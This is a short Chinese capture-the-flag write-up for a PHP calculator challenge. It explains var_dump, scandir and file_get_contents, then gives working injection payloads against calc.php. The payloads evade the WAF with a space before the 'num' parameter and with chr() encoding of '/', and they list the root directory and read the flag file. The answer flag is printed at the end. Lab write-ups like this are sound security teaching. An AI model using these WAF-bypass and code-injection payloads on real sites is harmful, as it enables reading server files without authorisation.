题目要点:
①var_dump()
函数用于输出变量的相关信息;判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
②scandir()
列出参数目录中的文件和目录
③file_get_contents()
把整个文件读入一个字符串中。
④waf
waf不允许num传字母,我们可以加个空格它就无法识别“ num”和“num”,php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
题解:
打开题目,在源码中发现提示
空格绕过waf执行语句
calc.php? num=1;var_dump(scandir(chr(47)))
这里因为" / "被过滤了所以用ascii绕过,得到flag位置
然后用file_get_contents()函数查看flagg文件,执行语句
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag
flag{39ac3669-4944-43d9-81b0-d1c6ef9c7dcd}